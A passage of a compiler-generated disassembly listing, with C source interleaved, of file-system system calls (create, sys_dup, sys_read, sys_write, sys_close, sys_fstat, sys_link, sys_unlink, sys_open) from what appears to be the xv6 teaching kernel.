80104525: 74 32 je 80104559 <create+0xfe>
if(dirlink(dp, name, ip->inum) < 0)
80104527: 83 ec 04 sub $0x4,%esp
8010452a: ff 73 04 pushl 0x4(%ebx)
8010452d: 8d 45 da lea -0x26(%ebp),%eax
80104530: 50 push %eax
80104531: 56 push %esi
80104532: e8 63 d6 ff ff call 80101b9a <dirlink>
80104537: 83 c4 10 add $0x10,%esp
8010453a: 85 c0 test %eax,%eax
8010453c: 78 6c js 801045aa <create+0x14f>
iunlockput(dp);
8010453e: 83 ec 0c sub $0xc,%esp
80104541: 56 push %esi
80104542: e8 36 d2 ff ff call 8010177d <iunlockput>
return ip;
80104547: 83 c4 10 add $0x10,%esp
8010454a: eb 8c jmp 801044d8 <create+0x7d>
panic("create: ialloc");
8010454c: 83 ec 0c sub $0xc,%esp
8010454f: 68 32 70 10 80 push $0x80107032
80104554: e8 03 be ff ff call 8010035c <panic>
dp->nlink++; // for ".."
80104559: 0f b7 46 56 movzwl 0x56(%esi),%eax
8010455d: 83 c0 01 add $0x1,%eax
80104560: 66 89 46 56 mov %ax,0x56(%esi)
iupdate(dp);
80104564: 83 ec 0c sub $0xc,%esp
80104567: 56 push %esi
80104568: e8 f4 ce ff ff call 80101461 <iupdate>
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
8010456d: 83 c4 0c add $0xc,%esp
80104570: ff 73 04 pushl 0x4(%ebx)
80104573: 68 42 70 10 80 push $0x80107042
80104578: 53 push %ebx
80104579: e8 1c d6 ff ff call 80101b9a <dirlink>
8010457e: 83 c4 10 add $0x10,%esp
80104581: 85 c0 test %eax,%eax
80104583: 78 18 js 8010459d <create+0x142>
80104585: 83 ec 04 sub $0x4,%esp
80104588: ff 76 04 pushl 0x4(%esi)
8010458b: 68 41 70 10 80 push $0x80107041
80104590: 53 push %ebx
80104591: e8 04 d6 ff ff call 80101b9a <dirlink>
80104596: 83 c4 10 add $0x10,%esp
80104599: 85 c0 test %eax,%eax
8010459b: 79 8a jns 80104527 <create+0xcc>
panic("create dots");
8010459d: 83 ec 0c sub $0xc,%esp
801045a0: 68 44 70 10 80 push $0x80107044
801045a5: e8 b2 bd ff ff call 8010035c <panic>
panic("create: dirlink");
801045aa: 83 ec 0c sub $0xc,%esp
801045ad: 68 50 70 10 80 push $0x80107050
801045b2: e8 a5 bd ff ff call 8010035c <panic>
return 0;
801045b7: 89 c3 mov %eax,%ebx
801045b9: e9 1a ff ff ff jmp 801044d8 <create+0x7d>
801045be <sys_dup>:
{
801045be: f3 0f 1e fb endbr32
801045c2: 55 push %ebp
801045c3: 89 e5 mov %esp,%ebp
801045c5: 53 push %ebx
801045c6: 83 ec 14 sub $0x14,%esp
if(argfd(0, 0, &f) < 0)
801045c9: 8d 4d f4 lea -0xc(%ebp),%ecx
801045cc: ba 00 00 00 00 mov $0x0,%edx
801045d1: b8 00 00 00 00 mov $0x0,%eax
801045d6: e8 92 fd ff ff call 8010436d <argfd>
801045db: 85 c0 test %eax,%eax
801045dd: 78 23 js 80104602 <sys_dup+0x44>
if((fd=fdalloc(f)) < 0)
801045df: 8b 45 f4 mov -0xc(%ebp),%eax
801045e2: e8 e6 fd ff ff call 801043cd <fdalloc>
801045e7: 89 c3 mov %eax,%ebx
801045e9: 85 c0 test %eax,%eax
801045eb: 78 1c js 80104609 <sys_dup+0x4b>
filedup(f);
801045ed: 83 ec 0c sub $0xc,%esp
801045f0: ff 75 f4 pushl -0xc(%ebp)
801045f3: e8 c4 c6 ff ff call 80100cbc <filedup>
return fd;
801045f8: 83 c4 10 add $0x10,%esp
}
801045fb: 89 d8 mov %ebx,%eax
801045fd: 8b 5d fc mov -0x4(%ebp),%ebx
80104600: c9 leave
80104601: c3 ret
return -1;
80104602: bb ff ff ff ff mov $0xffffffff,%ebx
80104607: eb f2 jmp 801045fb <sys_dup+0x3d>
return -1;
80104609: bb ff ff ff ff mov $0xffffffff,%ebx
8010460e: eb eb jmp 801045fb <sys_dup+0x3d>
80104610 <sys_read>:
{
80104610: f3 0f 1e fb endbr32
80104614: 55 push %ebp
80104615: 89 e5 mov %esp,%ebp
80104617: 83 ec 18 sub $0x18,%esp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
8010461a: 8d 4d f4 lea -0xc(%ebp),%ecx
8010461d: ba 00 00 00 00 mov $0x0,%edx
80104622: b8 00 00 00 00 mov $0x0,%eax
80104627: e8 41 fd ff ff call 8010436d <argfd>
8010462c: 85 c0 test %eax,%eax
8010462e: 78 43 js 80104673 <sys_read+0x63>
80104630: 83 ec 08 sub $0x8,%esp
80104633: 8d 45 f0 lea -0x10(%ebp),%eax
80104636: 50 push %eax
80104637: 6a 02 push $0x2
80104639: e8 05 fc ff ff call 80104243 <argint>
8010463e: 83 c4 10 add $0x10,%esp
80104641: 85 c0 test %eax,%eax
80104643: 78 2e js 80104673 <sys_read+0x63>
80104645: 83 ec 04 sub $0x4,%esp
80104648: ff 75 f0 pushl -0x10(%ebp)
8010464b: 8d 45 ec lea -0x14(%ebp),%eax
8010464e: 50 push %eax
8010464f: 6a 01 push $0x1
80104651: e8 19 fc ff ff call 8010426f <argptr>
80104656: 83 c4 10 add $0x10,%esp
80104659: 85 c0 test %eax,%eax
8010465b: 78 16 js 80104673 <sys_read+0x63>
return fileread(f, p, n);
8010465d: 83 ec 04 sub $0x4,%esp
80104660: ff 75 f0 pushl -0x10(%ebp)
80104663: ff 75 ec pushl -0x14(%ebp)
80104666: ff 75 f4 pushl -0xc(%ebp)
80104669: e8 a0 c7 ff ff call 80100e0e <fileread>
8010466e: 83 c4 10 add $0x10,%esp
}
80104671: c9 leave
80104672: c3 ret
return -1;
80104673: b8 ff ff ff ff mov $0xffffffff,%eax
80104678: eb f7 jmp 80104671 <sys_read+0x61>
8010467a <sys_write>:
{
8010467a: f3 0f 1e fb endbr32
8010467e: 55 push %ebp
8010467f: 89 e5 mov %esp,%ebp
80104681: 83 ec 18 sub $0x18,%esp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104684: 8d 4d f4 lea -0xc(%ebp),%ecx
80104687: ba 00 00 00 00 mov $0x0,%edx
8010468c: b8 00 00 00 00 mov $0x0,%eax
80104691: e8 d7 fc ff ff call 8010436d <argfd>
80104696: 85 c0 test %eax,%eax
80104698: 78 43 js 801046dd <sys_write+0x63>
8010469a: 83 ec 08 sub $0x8,%esp
8010469d: 8d 45 f0 lea -0x10(%ebp),%eax
801046a0: 50 push %eax
801046a1: 6a 02 push $0x2
801046a3: e8 9b fb ff ff call 80104243 <argint>
801046a8: 83 c4 10 add $0x10,%esp
801046ab: 85 c0 test %eax,%eax
801046ad: 78 2e js 801046dd <sys_write+0x63>
801046af: 83 ec 04 sub $0x4,%esp
801046b2: ff 75 f0 pushl -0x10(%ebp)
801046b5: 8d 45 ec lea -0x14(%ebp),%eax
801046b8: 50 push %eax
801046b9: 6a 01 push $0x1
801046bb: e8 af fb ff ff call 8010426f <argptr>
801046c0: 83 c4 10 add $0x10,%esp
801046c3: 85 c0 test %eax,%eax
801046c5: 78 16 js 801046dd <sys_write+0x63>
return filewrite(f, p, n);
801046c7: 83 ec 04 sub $0x4,%esp
801046ca: ff 75 f0 pushl -0x10(%ebp)
801046cd: ff 75 ec pushl -0x14(%ebp)
801046d0: ff 75 f4 pushl -0xc(%ebp)
801046d3: e8 bf c7 ff ff call 80100e97 <filewrite>
801046d8: 83 c4 10 add $0x10,%esp
}
801046db: c9 leave
801046dc: c3 ret
return -1;
801046dd: b8 ff ff ff ff mov $0xffffffff,%eax
801046e2: eb f7 jmp 801046db <sys_write+0x61>
801046e4 <sys_close>:
{
801046e4: f3 0f 1e fb endbr32
801046e8: 55 push %ebp
801046e9: 89 e5 mov %esp,%ebp
801046eb: 83 ec 18 sub $0x18,%esp
if(argfd(0, &fd, &f) < 0)
801046ee: 8d 4d f0 lea -0x10(%ebp),%ecx
801046f1: 8d 55 f4 lea -0xc(%ebp),%edx
801046f4: b8 00 00 00 00 mov $0x0,%eax
801046f9: e8 6f fc ff ff call 8010436d <argfd>
801046fe: 85 c0 test %eax,%eax
80104700: 78 25 js 80104727 <sys_close+0x43>
myproc()->ofile[fd] = 0;
80104702: e8 be eb ff ff call 801032c5 <myproc>
80104707: 8b 55 f4 mov -0xc(%ebp),%edx
8010470a: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4)
80104711: 00
fileclose(f);
80104712: 83 ec 0c sub $0xc,%esp
80104715: ff 75 f0 pushl -0x10(%ebp)
80104718: e8 e8 c5 ff ff call 80100d05 <fileclose>
return 0;
8010471d: 83 c4 10 add $0x10,%esp
80104720: b8 00 00 00 00 mov $0x0,%eax
}
80104725: c9 leave
80104726: c3 ret
return -1;
80104727: b8 ff ff ff ff mov $0xffffffff,%eax
8010472c: eb f7 jmp 80104725 <sys_close+0x41>
8010472e <sys_fstat>:
{
8010472e: f3 0f 1e fb endbr32
80104732: 55 push %ebp
80104733: 89 e5 mov %esp,%ebp
80104735: 83 ec 18 sub $0x18,%esp
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104738: 8d 4d f4 lea -0xc(%ebp),%ecx
8010473b: ba 00 00 00 00 mov $0x0,%edx
80104740: b8 00 00 00 00 mov $0x0,%eax
80104745: e8 23 fc ff ff call 8010436d <argfd>
8010474a: 85 c0 test %eax,%eax
8010474c: 78 2a js 80104778 <sys_fstat+0x4a>
8010474e: 83 ec 04 sub $0x4,%esp
80104751: 6a 14 push $0x14
80104753: 8d 45 f0 lea -0x10(%ebp),%eax
80104756: 50 push %eax
80104757: 6a 01 push $0x1
80104759: e8 11 fb ff ff call 8010426f <argptr>
8010475e: 83 c4 10 add $0x10,%esp
80104761: 85 c0 test %eax,%eax
80104763: 78 13 js 80104778 <sys_fstat+0x4a>
return filestat(f, st);
80104765: 83 ec 08 sub $0x8,%esp
80104768: ff 75 f0 pushl -0x10(%ebp)
8010476b: ff 75 f4 pushl -0xc(%ebp)
8010476e: e8 50 c6 ff ff call 80100dc3 <filestat>
80104773: 83 c4 10 add $0x10,%esp
}
80104776: c9 leave
80104777: c3 ret
return -1;
80104778: b8 ff ff ff ff mov $0xffffffff,%eax
8010477d: eb f7 jmp 80104776 <sys_fstat+0x48>
8010477f <sys_link>:
{
8010477f: f3 0f 1e fb endbr32
80104783: 55 push %ebp
80104784: 89 e5 mov %esp,%ebp
80104786: 56 push %esi
80104787: 53 push %ebx
80104788: 83 ec 28 sub $0x28,%esp
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
8010478b: 8d 45 e0 lea -0x20(%ebp),%eax
8010478e: 50 push %eax
8010478f: 6a 00 push $0x0
80104791: e8 45 fb ff ff call 801042db <argstr>
80104796: 83 c4 10 add $0x10,%esp
80104799: 85 c0 test %eax,%eax
8010479b: 0f 88 d3 00 00 00 js 80104874 <sys_link+0xf5>
801047a1: 83 ec 08 sub $0x8,%esp
801047a4: 8d 45 e4 lea -0x1c(%ebp),%eax
801047a7: 50 push %eax
801047a8: 6a 01 push $0x1
801047aa: e8 2c fb ff ff call 801042db <argstr>
801047af: 83 c4 10 add $0x10,%esp
801047b2: 85 c0 test %eax,%eax
801047b4: 0f 88 ba 00 00 00 js 80104874 <sys_link+0xf5>
begin_op();
801047ba: e8 90 e0 ff ff call 8010284f <begin_op>
if((ip = namei(old)) == 0){
801047bf: 83 ec 0c sub $0xc,%esp
801047c2: ff 75 e0 pushl -0x20(%ebp)
801047c5: e8 85 d4 ff ff call 80101c4f <namei>
801047ca: 89 c3 mov %eax,%ebx
801047cc: 83 c4 10 add $0x10,%esp
801047cf: 85 c0 test %eax,%eax
801047d1: 0f 84 a4 00 00 00 je 8010487b <sys_link+0xfc>
ilock(ip);
801047d7: 83 ec 0c sub $0xc,%esp
801047da: 50 push %eax
801047db: e8 ea cd ff ff call 801015ca <ilock>
if(ip->type == T_DIR){
801047e0: 83 c4 10 add $0x10,%esp
801047e3: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
801047e8: 0f 84 99 00 00 00 je 80104887 <sys_link+0x108>
ip->nlink++;
801047ee: 0f b7 43 56 movzwl 0x56(%ebx),%eax
801047f2: 83 c0 01 add $0x1,%eax
801047f5: 66 89 43 56 mov %ax,0x56(%ebx)
iupdate(ip);
801047f9: 83 ec 0c sub $0xc,%esp
801047fc: 53 push %ebx
801047fd: e8 5f cc ff ff call 80101461 <iupdate>
iunlock(ip);
80104802: 89 1c 24 mov %ebx,(%esp)
80104805: e8 86 ce ff ff call 80101690 <iunlock>
if((dp = nameiparent(new, name)) == 0)
8010480a: 83 c4 08 add $0x8,%esp
8010480d: 8d 45 ea lea -0x16(%ebp),%eax
80104810: 50 push %eax
80104811: ff 75 e4 pushl -0x1c(%ebp)
80104814: e8 52 d4 ff ff call 80101c6b <nameiparent>
80104819: 89 c6 mov %eax,%esi
8010481b: 83 c4 10 add $0x10,%esp
8010481e: 85 c0 test %eax,%eax
80104820: 0f 84 85 00 00 00 je 801048ab <sys_link+0x12c>
ilock(dp);
80104826: 83 ec 0c sub $0xc,%esp
80104829: 50 push %eax
8010482a: e8 9b cd ff ff call 801015ca <ilock>
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
8010482f: 83 c4 10 add $0x10,%esp
80104832: 8b 03 mov (%ebx),%eax
80104834: 39 06 cmp %eax,(%esi)
80104836: 75 67 jne 8010489f <sys_link+0x120>
80104838: 83 ec 04 sub $0x4,%esp
8010483b: ff 73 04 pushl 0x4(%ebx)
8010483e: 8d 45 ea lea -0x16(%ebp),%eax
80104841: 50 push %eax
80104842: 56 push %esi
80104843: e8 52 d3 ff ff call 80101b9a <dirlink>
80104848: 83 c4 10 add $0x10,%esp
8010484b: 85 c0 test %eax,%eax
8010484d: 78 50 js 8010489f <sys_link+0x120>
iunlockput(dp);
8010484f: 83 ec 0c sub $0xc,%esp
80104852: 56 push %esi
80104853: e8 25 cf ff ff call 8010177d <iunlockput>
iput(ip);
80104858: 89 1c 24 mov %ebx,(%esp)
8010485b: e8 79 ce ff ff call 801016d9 <iput>
end_op();
80104860: e8 68 e0 ff ff call 801028cd <end_op>
return 0;
80104865: 83 c4 10 add $0x10,%esp
80104868: b8 00 00 00 00 mov $0x0,%eax
}
8010486d: 8d 65 f8 lea -0x8(%ebp),%esp
80104870: 5b pop %ebx
80104871: 5e pop %esi
80104872: 5d pop %ebp
80104873: c3 ret
return -1;
80104874: b8 ff ff ff ff mov $0xffffffff,%eax
80104879: eb f2 jmp 8010486d <sys_link+0xee>
end_op();
8010487b: e8 4d e0 ff ff call 801028cd <end_op>
return -1;
80104880: b8 ff ff ff ff mov $0xffffffff,%eax
80104885: eb e6 jmp 8010486d <sys_link+0xee>
iunlockput(ip);
80104887: 83 ec 0c sub $0xc,%esp
8010488a: 53 push %ebx
8010488b: e8 ed ce ff ff call 8010177d <iunlockput>
end_op();
80104890: e8 38 e0 ff ff call 801028cd <end_op>
return -1;
80104895: 83 c4 10 add $0x10,%esp
80104898: b8 ff ff ff ff mov $0xffffffff,%eax
8010489d: eb ce jmp 8010486d <sys_link+0xee>
iunlockput(dp);
8010489f: 83 ec 0c sub $0xc,%esp
801048a2: 56 push %esi
801048a3: e8 d5 ce ff ff call 8010177d <iunlockput>
goto bad;
801048a8: 83 c4 10 add $0x10,%esp
ilock(ip);
801048ab: 83 ec 0c sub $0xc,%esp
801048ae: 53 push %ebx
801048af: e8 16 cd ff ff call 801015ca <ilock>
ip->nlink--;
801048b4: 0f b7 43 56 movzwl 0x56(%ebx),%eax
801048b8: 83 e8 01 sub $0x1,%eax
801048bb: 66 89 43 56 mov %ax,0x56(%ebx)
iupdate(ip);
801048bf: 89 1c 24 mov %ebx,(%esp)
801048c2: e8 9a cb ff ff call 80101461 <iupdate>
iunlockput(ip);
801048c7: 89 1c 24 mov %ebx,(%esp)
801048ca: e8 ae ce ff ff call 8010177d <iunlockput>
end_op();
801048cf: e8 f9 df ff ff call 801028cd <end_op>
return -1;
801048d4: 83 c4 10 add $0x10,%esp
801048d7: b8 ff ff ff ff mov $0xffffffff,%eax
801048dc: eb 8f jmp 8010486d <sys_link+0xee>
801048de <sys_unlink>:
{
801048de: f3 0f 1e fb endbr32
801048e2: 55 push %ebp
801048e3: 89 e5 mov %esp,%ebp
801048e5: 57 push %edi
801048e6: 56 push %esi
801048e7: 53 push %ebx
801048e8: 83 ec 44 sub $0x44,%esp
if(argstr(0, &path) < 0)
801048eb: 8d 45 c4 lea -0x3c(%ebp),%eax
801048ee: 50 push %eax
801048ef: 6a 00 push $0x0
801048f1: e8 e5 f9 ff ff call 801042db <argstr>
801048f6: 83 c4 10 add $0x10,%esp
801048f9: 85 c0 test %eax,%eax
801048fb: 0f 88 83 01 00 00 js 80104a84 <sys_unlink+0x1a6>
begin_op();
80104901: e8 49 df ff ff call 8010284f <begin_op>
if((dp = nameiparent(path, name)) == 0){
80104906: 83 ec 08 sub $0x8,%esp
80104909: 8d 45 ca lea -0x36(%ebp),%eax
8010490c: 50 push %eax
8010490d: ff 75 c4 pushl -0x3c(%ebp)
80104910: e8 56 d3 ff ff call 80101c6b <nameiparent>
80104915: 89 c6 mov %eax,%esi
80104917: 83 c4 10 add $0x10,%esp
8010491a: 85 c0 test %eax,%eax
8010491c: 0f 84 ed 00 00 00 je 80104a0f <sys_unlink+0x131>
ilock(dp);
80104922: 83 ec 0c sub $0xc,%esp
80104925: 50 push %eax
80104926: e8 9f cc ff ff call 801015ca <ilock>
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
8010492b: 83 c4 08 add $0x8,%esp
8010492e: 68 42 70 10 80 push $0x80107042
80104933: 8d 45 ca lea -0x36(%ebp),%eax
80104936: 50 push %eax
80104937: e8 c4 d0 ff ff call 80101a00 <namecmp>
8010493c: 83 c4 10 add $0x10,%esp
8010493f: 85 c0 test %eax,%eax
80104941: 0f 84 fc 00 00 00 je 80104a43 <sys_unlink+0x165>
80104947: 83 ec 08 sub $0x8,%esp
8010494a: 68 41 70 10 80 push $0x80107041
8010494f: 8d 45 ca lea -0x36(%ebp),%eax
80104952: 50 push %eax
80104953: e8 a8 d0 ff ff call 80101a00 <namecmp>
80104958: 83 c4 10 add $0x10,%esp
8010495b: 85 c0 test %eax,%eax
8010495d: 0f 84 e0 00 00 00 je 80104a43 <sys_unlink+0x165>
if((ip = dirlookup(dp, name, &off)) == 0)
80104963: 83 ec 04 sub $0x4,%esp
80104966: 8d 45 c0 lea -0x40(%ebp),%eax
80104969: 50 push %eax
8010496a: 8d 45 ca lea -0x36(%ebp),%eax
8010496d: 50 push %eax
8010496e: 56 push %esi
8010496f: e8 a5 d0 ff ff call 80101a19 <dirlookup>
80104974: 89 c3 mov %eax,%ebx
80104976: 83 c4 10 add $0x10,%esp
80104979: 85 c0 test %eax,%eax
8010497b: 0f 84 c2 00 00 00 je 80104a43 <sys_unlink+0x165>
ilock(ip);
80104981: 83 ec 0c sub $0xc,%esp
80104984: 50 push %eax
80104985: e8 40 cc ff ff call 801015ca <ilock>
if(ip->nlink < 1)
8010498a: 83 c4 10 add $0x10,%esp
8010498d: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx)
80104992: 0f 8e 83 00 00 00 jle 80104a1b <sys_unlink+0x13d>
if(ip->type == T_DIR && !isdirempty(ip)){
80104998: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
8010499d: 0f 84 85 00 00 00 je 80104a28 <sys_unlink+0x14a>
memset(&de, 0, sizeof(de));
801049a3: 83 ec 04 sub $0x4,%esp
801049a6: 6a 10 push $0x10
801049a8: 6a 00 push $0x0
801049aa: 8d 7d d8 lea -0x28(%ebp),%edi
801049ad: 57 push %edi
801049ae: e8 1a f6 ff ff call 80103fcd <memset>
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
801049b3: 6a 10 push $0x10
801049b5: ff 75 c0 pushl -0x40(%ebp)
801049b8: 57 push %edi
801049b9: 56 push %esi
801049ba: e8 12 cf ff ff call 801018d1 <writei>
801049bf: 83 c4 20 add $0x20,%esp
801049c2: 83 f8 10 cmp $0x10,%eax
801049c5: 0f 85 90 00 00 00 jne 80104a5b <sys_unlink+0x17d>
if(ip->type == T_DIR){
801049cb: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
801049d0: 0f 84 92 00 00 00 je 80104a68 <sys_unlink+0x18a>
iunlockput(dp);
801049d6: 83 ec 0c sub $0xc,%esp
801049d9: 56 push %esi
801049da: e8 9e cd ff ff call 8010177d <iunlockput>
ip->nlink--;
801049df: 0f b7 43 56 movzwl 0x56(%ebx),%eax
801049e3: 83 e8 01 sub $0x1,%eax
801049e6: 66 89 43 56 mov %ax,0x56(%ebx)
iupdate(ip);
801049ea: 89 1c 24 mov %ebx,(%esp)
801049ed: e8 6f ca ff ff call 80101461 <iupdate>
iunlockput(ip);
801049f2: 89 1c 24 mov %ebx,(%esp)
801049f5: e8 83 cd ff ff call 8010177d <iunlockput>
end_op();
801049fa: e8 ce de ff ff call 801028cd <end_op>
return 0;
801049ff: 83 c4 10 add $0x10,%esp
80104a02: b8 00 00 00 00 mov $0x0,%eax
}
80104a07: 8d 65 f4 lea -0xc(%ebp),%esp
80104a0a: 5b pop %ebx
80104a0b: 5e pop %esi
80104a0c: 5f pop %edi
80104a0d: 5d pop %ebp
80104a0e: c3 ret
end_op();
80104a0f: e8 b9 de ff ff call 801028cd <end_op>
return -1;
80104a14: b8 ff ff ff ff mov $0xffffffff,%eax
80104a19: eb ec jmp 80104a07 <sys_unlink+0x129>
panic("unlink: nlink < 1");
80104a1b: 83 ec 0c sub $0xc,%esp
80104a1e: 68 60 70 10 80 push $0x80107060
80104a23: e8 34 b9 ff ff call 8010035c <panic>
if(ip->type == T_DIR && !isdirempty(ip)){
80104a28: 89 d8 mov %ebx,%eax
80104a2a: e8 d5 f9 ff ff call 80104404 <isdirempty>
80104a2f: 85 c0 test %eax,%eax
80104a31: 0f 85 6c ff ff ff jne 801049a3 <sys_unlink+0xc5>
iunlockput(ip);
80104a37: 83 ec 0c sub $0xc,%esp
80104a3a: 53 push %ebx
80104a3b: e8 3d cd ff ff call 8010177d <iunlockput>
goto bad;
80104a40: 83 c4 10 add $0x10,%esp
iunlockput(dp);
80104a43: 83 ec 0c sub $0xc,%esp
80104a46: 56 push %esi
80104a47: e8 31 cd ff ff call 8010177d <iunlockput>
end_op();
80104a4c: e8 7c de ff ff call 801028cd <end_op>
return -1;
80104a51: 83 c4 10 add $0x10,%esp
80104a54: b8 ff ff ff ff mov $0xffffffff,%eax
80104a59: eb ac jmp 80104a07 <sys_unlink+0x129>
panic("unlink: writei");
80104a5b: 83 ec 0c sub $0xc,%esp
80104a5e: 68 72 70 10 80 push $0x80107072
80104a63: e8 f4 b8 ff ff call 8010035c <panic>
dp->nlink--;
80104a68: 0f b7 46 56 movzwl 0x56(%esi),%eax
80104a6c: 83 e8 01 sub $0x1,%eax
80104a6f: 66 89 46 56 mov %ax,0x56(%esi)
iupdate(dp);
80104a73: 83 ec 0c sub $0xc,%esp
80104a76: 56 push %esi
80104a77: e8 e5 c9 ff ff call 80101461 <iupdate>
80104a7c: 83 c4 10 add $0x10,%esp
80104a7f: e9 52 ff ff ff jmp 801049d6 <sys_unlink+0xf8>
return -1;
80104a84: b8 ff ff ff ff mov $0xffffffff,%eax
80104a89: e9 79 ff ff ff jmp 80104a07 <sys_unlink+0x129>
80104a8e <sys_open>:
int
sys_open(void)
{
80104a8e: f3 0f 1e fb endbr32
80104a92: 55 push %ebp
80104a93: 89 e5 mov %esp,%ebp
80104a95: 57 push %edi
80104a96: 56 push %esi
80104a97: 53 push %ebx
80104a98: 83 ec 24 sub $0x24,%esp
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
80104a9b: 8d 45 e4 lea -0x1c(%ebp),%eax
80104a9e: 50 push %eax
80104a9f: 6a 00 push $0x0
80104aa1: e8 35 f8 ff ff call 801042db <argstr>
80104aa6: 83 c4 10 add $0x10,%esp
80104aa9: 85 c0 test %eax,%eax
80104aab: 0f 88 a0 00 00 00 js 80104b51 <sys_open+0xc3>
80104ab1: 83 ec 08 sub $0x8,%esp
80104ab4: 8d 45 e0 lea -0x20(%ebp),%eax
80104ab7: 50 push %eax
80104ab8: 6a 01 push $0x1
80104aba: e8 84 f7 ff ff call 80104243 <argint>
80104abf: 83 c4 10 add $0x10,%esp
80104ac2: 85 c0 test %eax,%eax
80104ac4: 0f 88 87 00 00 00 js 80104b51 <sys_open+0xc3>
return -1;
begin_op();
80104aca: e8 80 dd ff ff call 8010284f <begin_op>
if(omode & O_CREATE){
80104acf: f6 45 e1 02 testb $0x2,-0x1f(%ebp)
80104ad3: 0f 84 8b 00 00 00 je 80104b64 <sys_open+0xd6>
ip = create(path, T_FILE, 0, 0);
80104ad9: 83 ec 0c sub $0xc,%esp
80104adc: 6a 00 push $0x0
80104ade: b9 00 00 00 00 mov $0x0,%ecx
80104ae3: ba 02 00 00 00 mov $0x2,%edx
80104ae8: 8b 45 e4 mov -0x1c(%ebp),%eax
80104aeb: e8 6b f9 ff ff call 8010445b <create>
80104af0: 89 c6 mov %eax,%esi
if(ip == 0){
80104af2: 83 c4 10 add $0x10,%esp
80104af5: 85 c0 test %eax,%eax
80104af7: 74 5f je 80104b58 <sys_open+0xca>
end_op();
return -1;
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
80104af9: e8 59 c1 ff ff call 80100c57 <filealloc>
80104afe: 89 c3 mov %eax,%ebx
80104b00: 85 c0 test %eax,%eax
80104b02: 0f 84 b5 00 00 00 je 80104bbd <sys_open+0x12f>
80104b08: e8 c0 f8 ff ff call 801043cd <fdalloc>
80104b0d: 89 c7 mov %eax,%edi
80104b0f: 85 c0 test %eax,%eax
80104b11: 0f 88 a6 00 00 00 js 80104bbd <sys_open+0x12f>
fileclose(f);
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
80104b17: 83 ec 0c sub $0xc,%esp
80104b1a: 56 push %esi
80104b1b: e8 70 cb ff ff call 80101690 <iunlock>
end_op();
80104b20: e8 a8 dd ff ff call 801028cd <end_op>
f->type = FD_INODE;
80104b25: c7 03 02 00 00 00 movl $0x2,(%ebx)
f->ip = ip;
80104b2b: 89 73 10 mov %esi,0x10(%ebx)
f->off = 0;
80104b2e: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
f->readable = !(omode & O_WRONLY);
80104b35: 8b 45 e0 mov -0x20(%ebp),%eax
80104b38: 83 c4 10 add $0x10,%esp
80104b3b: a8 01 test $0x1,%al
80104b3d: 0f 94 43 08 sete 0x8(%ebx)
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80104b41: a8 03 test $0x3,%al
80104b43: 0f 95 43 09 setne 0x9(%ebx)
return fd;
}
80104b47: 89 f8 mov %edi,%eax
80104b49: 8d 65 f4 lea -0xc(%ebp),%esp
80104b4c: 5b pop %ebx
80104b4d: 5e pop %esi
80104b4e: 5f pop %edi
80104b4f: 5d pop %ebp
80104b50: c3 ret
return -1;
80104b51: bf ff ff ff ff mov $0xffffffff,%edi
80104b56: eb ef jmp 80104b47 <sys_open+0xb9>
end_op();
80104b58: e8 70 dd ff ff call 801028cd <end_op>
return -1;
80104b5d: bf ff ff ff ff mov $0xffffffff,%edi
80104b62: eb e3 jmp 80104b47 <sys_open+0xb9>
if((ip = namei(path)) == 0){
80104b64: 83 ec 0c sub $0xc,%esp
80104b67: ff 75 e4 pushl -0x1c(%ebp)
80104b6a: e8 e0 d0 ff ff call 80101c4f <namei>
80104b6f: 89 c6 mov %eax,%esi
80104b71: 83 c4 10 add $0x10,%esp
80104b74: 85 c0 test %eax,%eax
80104b76: 74 39 je 80104bb1 <sys_open+0x123>
ilock(ip);
80104b78: 83 ec 0c sub $0xc,%esp
80104b7b: 50 push %eax
80104b7c: e8 49 ca ff ff call 801015ca <ilock>
if(ip->type == T_DIR && omode != O_RDONLY){
80104b81: 83 c4 10 add $0x10,%esp
80104b84: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80104b89: 0f 85 6a ff ff ff jne 80104af9 <sys_open+0x6b>
80104b8f: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80104b93: 0f 84 60 ff ff ff je 80104af9 <sys_open+0x6b>
iunlockput(ip);
80104b99: 83 ec 0c sub $0xc,%esp
80104b9c: 56 push %esi
80104b9d: e8 db cb ff ff call 8010177d <iunlockput>
end_op();
80104ba2: e8 26 dd ff ff call 801028cd <end_op>
return -1;
80104ba7: 83 c4 10 add $0x10,%esp
80104baa: bf ff ff ff ff mov $0xffffffff,%edi
80104baf: eb 96 jmp 80104b47 <sys_open+0xb9>
end_op();
80104bb1: e8 17 dd ff ff call 801028cd <end_op>
return -1;
80104bb6: bf ff ff ff ff mov $0xffffffff,%edi
80104bbb: eb 8a jmp 80104b47 <sys_open+0xb9>
if(f)
80104bbd: 85 db test %ebx,%ebx
80104bbf: 74 0c je 80104bcd <sys_open+0x13f>
fileclose(f);
80104bc1: 83 ec 0c sub $0xc,%esp
80104bc4: 53 push %ebx
80104bc5: e8 3b c1 ff ff call 80100d05 <fileclose>
80104bca: 83 c4 10 add $0x10,%esp
iunlockput(ip);
80104bcd: 83 ec 0c sub $0xc,%esp
80104bd0: 56 push %esi
80104bd1: e8 a7 cb ff ff call 8010177d <iunlockput>
end_op();
80104bd6: e8 f2 dc ff ff call 801028cd <end_op>
return -1;
80104bdb: 83 c4 10 add $0x10,%esp
80104bde: bf ff ff ff ff mov $0xffffffff,%edi
